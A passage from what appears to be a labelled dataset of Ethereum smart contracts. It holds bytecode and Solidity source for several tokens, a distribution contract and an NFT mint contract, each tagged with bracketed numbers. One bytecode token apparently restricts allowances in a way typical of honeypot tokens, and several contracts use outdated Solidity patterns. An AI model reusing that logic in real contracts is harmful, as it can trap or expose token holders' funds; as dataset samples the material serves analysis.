1f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220893d871489ebd828a2d4689dc1eff57afdd4ef1f63053a20217a5ada40f939b164736f6c634300060c0033
[ 38 ]
0xf39892a591a74a855a33d565e352354a313b0653
/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Recoverable is Ownable { /// @dev Empty constructor (for now) function Recoverable() { } /// @dev This will be invoked by the owner, when owner wants to rescue tokens /// @param token Token which will we rescue to the owner from the contract function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } /// @dev Interface function, can be overwritten by the superclass /// @param token Token which balance we will check and return /// @return The amount of tokens (in smallest denominator) the contract owns function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is StandardToken, Recoverable { /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } } /** * Issuer manages token distribution after the crowdsale. * * This contract is fed a CSV file with Ethereum addresses and their * issued token balances. * * Issuer act as a gate keeper to ensure there is no double issuance * per address, in the case we need to do several issuance batches, * there is a race condition or there is a fat finger error. * * Issuer contract gets allowance from the team multisig to distribute tokens. * */ contract Issuer is Ownable { /** Map addresses whose tokens we have already issued. */ mapping(address => bool) public issued; /** Centrally issued token we are distributing to our contributors */ StandardTokenExt public token; /** Party (team multisig) who is in the control of the token pool. Note that this will be different from the owner address (scripted) that calls this contract. */ address public allower; /** How many addresses have received their tokens. */ uint public issuedCount; function Issuer(address _owner, address _allower, StandardTokenExt _token) { owner = _owner; allower = _allower; token = _token; } function issue(address benefactor, uint amount) onlyOwner { if(issued[benefactor]) throw; token.transferFrom(allower, benefactor, amount); issued[benefactor] = true; issuedCount += amount; } }
0x6060604052600436106100825763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630b0f77438114610087578063867904b4146100ac5780638da5cb5b146100d0578063dd449a83146100ff578063f02d7ef014610112578063f2fde38b14610145578063fc0c546a14610164575b600080fd5b341561009257600080fd5b61009a610177565b60405190815260200160405180910390f35b34156100b757600080fd5b6100ce600160a060020a036004351660243561017d565b005b34156100db57600080fd5b6100e3610297565b604051600160a060020a03909116815260200160405180910390f35b341561010a57600080fd5b6100e36102a6565b341561011d57600080fd5b610131600160a060020a03600435166102b5565b604051901515815260200160405180910390f35b341561015057600080fd5b6100ce600160a060020a03600435166102ca565b341561016f57600080fd5b6100e3610365565b60045481565b60005433600160a060020a0390811691161461019857600080fd5b600160a060020a03821660009081526001602052604090205460ff16156101be57600080fd5b600254600354600160a060020a03918216916323b872dd911684846000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561024a57600080fd5b6102c65a03f1151561025b57600080fd5b50505060405180515050600160a060020a039091166000908152600160208190526040909120805460ff19169091179055600480549091019055565b600054600160a060020a031681565b600354600160a060020a031681565b60016020526000908152604090205460ff1681565b60005433600160a060020a039081169116146102e557600080fd5b600160a060020a03811615156102fa57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a0316815600a165627a7a72305820ac52a6b9d58b378b9d0c99cb5f632befb05af911190f1b940952d73ab01c2d890029
[ 0, 16, 7 ]
0xf398b0ab72ea119aa760c945ba3249ee1f9aa803
pragma solidity ^0.4.8; contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract UnionChain{ /* Public variables of the token */ string public standard = 'UnionChain 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances . */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function UnionChain() { balanceOf[msg.sender] = 180000000 * 1000000000000000000; // Give the creator all initial tokens totalSupply = 180000000 * 1000000000000000000; // Update total supply name = "UnionChain"; // Set the name for display purposes symbol = "USU"; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(_from, _value); return true; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806342966c68146102a05780635a3b7e42146102e557806370a082311461037557806379cc6790146103cc57806395d89b4114610431578063a9059cbb146104c1578063cae9ca511461050e578063dd62ed3e146105b9575b600080fd5b3480156100d657600080fd5b506100df610630565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ce565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d461075b565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610761565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610a7c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102cb60048036038101908080359060200190929190505050610a8f565b604051808215151515815260200191505060405180910390f35b3480156102f157600080fd5b506102fa610b91565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033a57808201518184015260208101905061031f565b50505050905090810190601f1680156103675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038157600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2f565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c47565b604051808215151515815260200191505060405180910390f35b34801561043d57600080fd5b50610446610dd3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048657808201518184015260208101905061046b565b50505050905090810190601f1680156104b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cd57600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e71565b005b34801561051a57600080fd5b5061059f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611071565b604051808215151515815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f4565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c65780601f1061069b576101008083540402835291602001916106c6565b820191906000526020600020905b8154815290600101906020018083116106a957829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000808373ffffffffffffffffffffffffffffffffffffffff16141561078657600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107d257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561085f57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108e857600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610add57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c275780601f10610bfc57610100808354040283529160200191610c27565b820191906000526020600020905b815481529060010190602001808311610c0a57829003601f168201915b505050505081565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c9557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610d1e57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e695780601f10610e3e57610100808354040283529160200191610e69565b820191906000526020600020905b815481529060010190602001808311610e4c57829003601f168201915b505050505081565b60008273ffffffffffffffffffffffffffffffffffffffff161415610e9557600080fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ee157600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015610f6e57600080fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008084905061108185856106ce565b156111eb578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561117b578082015181840152602081019050611160565b50505050905090810190601f1680156111a85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156111ca57600080fd5b505af11580156111de573d6000803e3d6000fd5b50505050600191506111ec565b5b509392505050565b60066020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582040a514cb397b49a7d2f9cb8d03455805dd6a1f609a82ae79ca6519073ae007090029
[ 17 ]
0xF3991402D43497Ee90E2Ca9494F294DF45ae5F0a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "./ERC721A.sol"; contract BrandverseAmbassadorToken is ERC721A, Ownable { uint private constant MAX_SUPPLY = 111; uint private constant MAX_MINT = 1; mapping (address => uint) public userMintedAmount; bytes32 public merkleRoot; bool public tokenUriLocked; string private _baseTokenURI; constructor() ERC721A("BrandverseAmbassadorToken", "BAT") {} modifier whitelistOnly(bytes32[] calldata _proof) { require(isWhitelisted(msg.sender, _proof, merkleRoot), "NOT_WHITELISTED"); _; } function ownerClaim(uint256 _count) external onlyOwner { require(totalSupply() + _count <= MAX_SUPPLY, "EXCEEDS_MAX_SUPPLY"); _safeMint(msg.sender, _count); } function claim(bytes32[] calldata _proof) external whitelistOnly(_proof) { require(totalSupply() + 1 <= MAX_SUPPLY, "EXCEEDS_MAX_SUPPLY"); require(userMintedAmount[msg.sender] + 1 <= MAX_MINT, "MAX_MINT"); userMintedAmount[msg.sender]++; _safeMint(msg.sender, 1); } function setMerkleRoot(bytes32 _root) external onlyOwner { merkleRoot = _root; } function lockMetadata() external onlyOwner { tokenUriLocked = true; } function setBaseURI(string memory baseURI) external onlyOwner { require(!tokenUriLocked, "METADATA_LOCKED"); _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } function isWhitelisted(address _account, bytes32[] calldata _proof, bytes32 _root) internal pure returns (bool) { return MerkleProof.verify(_proof, _root, leaf(_account)); } function maxSupply() external pure returns (uint256) { return MAX_SUPPLY; } function getTotalSupply() external view returns (uint256) { return totalSupply(); } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract 